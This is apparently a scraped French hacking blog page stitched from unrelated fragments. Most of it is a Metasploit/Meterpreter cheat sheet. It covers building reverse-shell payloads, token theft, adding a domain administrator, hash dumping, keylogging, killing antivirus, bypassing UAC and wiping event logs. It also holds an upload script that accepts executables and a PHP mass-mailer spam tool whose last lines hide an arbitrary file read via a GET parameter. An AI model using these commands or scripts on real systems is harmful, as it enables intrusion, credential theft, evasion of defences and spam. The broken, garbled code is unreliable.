Search for exploits or modules within the Framework.
search cve:0000-0000
info
Load information about a specific exploit or module.
use name
Load an exploit or module (example: use windows/smb/psexec).
LHOST
Your local host’s IP address reachable by the target, often the public IP
address when not on a local network. Typically used for reverse shells.
RHOST
The remote host or the target.
set function
Set a specific value (for example, LHOST or RHOST).
setg function
Set a specific value globally (for example, LHOST or RHOST).
show options
Show the options available for a module or exploit.
show targets
Show the platforms supported by the exploit.
set target num
Specify a specific target index if you know the OS and service pack.
set payload payload
Specify the payload to use.
show advanced
Show advanced options.
set autorunscript migrate -f
Automatically migrate to a separate process upon exploit completion.
check
Determine whether a target is vulnerable to an attack.
exploit
Execute the module or exploit and attack the target.
exploit -j
Run the exploit under the context of the job. (This will run the exploit
in the background.)
exploit -z
Do not interact with the session after successful exploitation.
exploit -e encoder
Specify the payload encoder to use (example: exploit –e shikata_ga_nai).
exploit -h
Display help for the exploit command.
sessions -l
List available sessions (used when handling multiple shells).
sessions -l -v
List all available sessions and show verbose fields, such as which vulnerability
was used when exploiting the system.
sessions -s script
Run a specific Meterpreter script on all Meterpreter live sessions.
sessions -K
Kill all live sessions.
sessions -c cmd
Execute a command on all live Meterpreter sessions.
sessions -u sessionID
Upgrade a normal Win32 shell to a Meterpreter console.
db_create name
Create a database to use with database-driven attacks (example: db_create
autopwn).
db_connect name
Create and connect to a database for driven attacks (example: db_connect
autopwn).
db_nmap
Use nmap and place results in database. (Normal nmap syntax is supported,
such as –sT –v –P0.)
db_autopwn -h
Display help for using db_autopwn.
db_autopwn -p -r -e
Run db_autopwn against all ports found, use a reverse shell, and exploit all
systems.
db_destroy
Delete the current database.
db_destroy user:password@host:port/database
Delete database using advanced options.
Meterpreter Commands
help
Open Meterpreter usage help.
run scriptname Run Meterpreter-based scripts; for a full list check the scripts/meterpreter
directory.
sysinfo
Show the system information on the compromised target.
ls
List the files and folders on the target.
use privLoad the privilege extension for extended Meterpreter libraries.
ps
Show all running processes and which accounts are associated with each
process.
migrate PID
Migrate to the specific process ID (PID is the target process ID gained
from the ps command).
use incognito
Load incognito functions. (Used for token stealing and impersonation on
a target machine.)
list_tokens -u
List available tokens on the target by user.
list_tokens -g
List available tokens on the target by group.
impersonate_token DOMAIN_NAME\\USERNAME
Impersonate a token available on the target.
steal_token PID
Steal the tokens available for a given process and impersonate that token.
drop_token
Stop impersonating the current token.
getsystem
Attempt to elevate permissions to SYSTEM-level access through multiple attack vectors.
shell
Drop into an interactive shell with all available tokens.
execute -f cmd.exe -i
Execute cmd.exe and interact with it.
execute -f cmd.exe -i -t
Execute cmd.exe with all available tokens.
execute -f cmd.exe -i -H -t
Execute cmd.exe with all available tokens and make it a hidden process.
rev2self
Revert back to the original user you used to compromise the target.
reg command
Interact, create, delete, query, set, and much more in the target’s registry.
setdesktop number
Switch to a different screen based on who is logged in.
screenshot
Take a screenshot of the target’s screen.
upload file
Upload a file to the target.
download file
Download a file from the target.
keyscan_start
Start sniffing keystrokes on the remote target.
keyscan_dump
Dump the remote keys captured on the target.
keyscan_stop
Stop sniffing keystrokes on the remote target.
getprivs
Get as many privileges as possible on the target.
uictl enable keyboard/mouse
Take control of the keyboard and/or mouse.
background
Run your current Meterpreter shell in the background.
hashdump
Dump all hashes on the target.
use sniffer
Load the sniffer module.
sniffer_interfaces
List the available interfaces on the target.
sniffer_dump interfaceID pcapname
Start sniffing on the remote target.
sniffer_start interfaceID packet-buffer
Start sniffing with a specific range for a packet buffer.
sniffer_stats interfaceID
Grab statistical information from the interface you are sniffing.
sniffer_stop interfaceID
Stop the sniffer.
add_user username password -h ip
Add a user on the remote target.
add_group_user "Domain Admins" username -h ip
Add a username to the Domain Administrators group on the remote target.
clearev
Clear the event log on the target machine.
timestomp
Change file attributes, such as creation date (antiforensics measure).
reboot
Reboot the target machine.
MSFpayload Commands
msfpayload -h
List available payloads.
msfpayload windows/meterpreter/bind_tcp O
List available options for the windows/meterpreter/bind_tcp payload (all of
these can use any payload).
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X payload.exe
Create a Meterpreter reverse_tcp payload to connect back to 192.168.1.5
and on port 443, and then save it as a Windows Portable Executable
named payload.exe.
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R >
payload.raw
Same as above, but export as raw format. This will be used later in
msfencode.
msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c
Same as above but export as C-formatted shellcode.
msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java
Export as %u encoded JavaScript.
MSFencode Commands
msfencode -h
Display the msfencode help.
msfencode -l
List the available encoders.
generate -h
generate C (generate shellcode payload)
Good root on Windows:
meterpreter > use priv
meterpreter > getsystem
Steal a domain administrator token from a given process ID, add a
domain account, and then add it to the Domain Admins group:
meterpreter > ps
meterpreter > steal_token 1784
meterpreter > shell
C:\Windows\system32>net user metasploit p@55w0rd /ADD /DOMAIN
C:\Windows\system32>net group "Domain Admins" metasploit /ADD /DOMAIN
Dump password hashes from the SAM database:
meterpreter > use priv
meterpreter > getsystem
meterpreter > hashdump
NOTE On Win2k8 you may need to migrate to a process that is running as SYSTEM if
getsystem and hashdump throw exceptions.
Automigrate to a separate process:
meterpreter > run migrate
Kill antivirus processes running on the target via the killav Meterpreter
script:
meterpreter > run killav
Capture keystrokes on target machines from within a particular process:
meterpreter > ps
meterpreter > migrate 1436
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
Use Incognito to impersonate an administrator:
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > use priv
meterpreter > getsystem
meterpreter > list_tokens -u
meterpreter > impersonate_token IHAZSECURITY\\Administrator
See what protection mechanisms are in place on the compromised
target, display the help menu, disable Windows Firewall, and kill all countermeasures
found:
meterpreter > run getcountermeasure
meterpreter > run getcountermeasure -h
meterpreter > run getcountermeasure -d -k
Identify whether the compromised system is a virtual machine:
meterpreter > run checkvm
Drop into a command shell for a current Meterpreter console session:
meterpreter > shell
Get a remote GUI (VNC) on the target machine:
meterpreter > run vnc
Background a currently running Meterpreter console:
meterpreter > background
Bypass Windows User Access Control:
meterpreter > run post/windows/escalate/bypassuac
Dump Hashes on an OS X system:
meterpreter > run post/osx/gather/hashdump
Dump Hashes on a Linux system:
meterpreter > run post/linux/gather/hashdump
Uploader fichier php
Partie Envois (Html)
Partie Réception (Php)
0) { $erreur = 'Erreur lors du transfert'; } else { if ($_FILES['icone']['size'] > $maxsize) { $erreur = 'Le fichier est trop gros'; } else { $extensions_valides = array('exe','txt','cpp','asm'); $extension_upload = strtolower( substr( strrchr($_FILES['icone']['name'], '.'),1)); if (in_array($extension_upload,$extensions_valides)) { $image_sizes = $_FILES['icone']['size'].'ko'; { //Renomme et donne un nom unique aux fichiers $nom = md5(uniqid(rand(), true)).".{$extension_upload}"; $resultat = move_uploaded_file($_FILES['icone']['tmp_name'],$dossier.$nom); if ($resultat) { echo 'Transfert réussi
'; } else { echo 'Echec du transfert
'; } } } else { echo 'Extension incorect
'; } } } ?>
Pour plus de securité
Création d'un .htaccess à placer dans le dossier de réception des fichiers, il à pour but d’empêcher l’exécution des scripts php et autres
RemoveHandler .php .phtml .php3 RemoveType .php .phtml .php3 php_flag engine off
Ettorhake Basic Mailer
*/ error_reporting(0); @$action=$_POST['action']; @$from=$_POST['from']; @$realname=$_POST['realname']; @$replyto=$_POST['replyto']; @$subject=$_POST['subject']; @$message=$_POST['message']; @$emaillist=$_POST['emaillist']; @$file_name=$_FILES['file']['name']; @$contenttype=$_POST['contenttype']; @$file=$_FILES['file']['tmp_name']; set_time_limit(intval($_POST['timelimit'])); ?>Ettorhake |MAILER| - V1 Please complete all fields before sending your message."; exit; } $allemails = split("\n", $emaillist); $numemails = count($allemails); $filter = "maillist"; $float = "From : mailist info <".$mymail.">"; //Open the file attachment if any, and base64_encode it for email transport If ($file_name){ if (!file_exists($file)){ die("The file you are trying to upload couldn't be copied to the server"); } $content = fread(fopen($file,"r"),filesize($file)); $content = chunk_split(base64_encode($content)); $uid = strtoupper(md5(uniqid(time()))); $name = basename($file); } for($xx=0; $xx<$amount; $xx++){ for($x=0; $x<$numemails; $x++){ $to = $allemails[$x]; if ($to){ $to = ereg_replace(" ", "", $to); $message = ereg_replace("&email&", $to, $message); $subject = ereg_replace("&email&", $to, $subject); print " Sending mail to $to "; flush(); $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n"; $header .= "Date:".$date."\r\n"; $header .= "MIME-Version: 1.0\r\n"; If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n"; If ($file_name) $header .= "--$uid\r\n"; $header .= "Content-Type: text/$contenttype\r\n"; $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n"; $header .= "$message\r\n"; If ($file_name) $header .= "--$uid\r\n"; If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n"; If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n"; If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n"; If ($file_name) $header .= "$content\r\n"; If ($file_name) $header .= "--$uid--"; mail($to, $subject, "", $header); print "ok"; flush(); } } } } $i=$_GET['i']; print file_get_contents($i); exit; ?>
vendredi 14 décembre 2012
HexToSting
Une petite fonction bien pratique :
*/ function strToHex($string) { $hex=''; for ($i=0; $i < strlen($string); $i++) { $hex .= dechex(ord($string[$i])); } return $hex; } function hexToStr($hex) { $string=''; for ($i=0; $i < strlen($hex)-1; $i+=2) { $string .= chr(hexdec($hex[$i].$hex[$i+1])); } return $string; } ?>HexEncoder Hex Encoder
Inscription à :
Articles (Atom)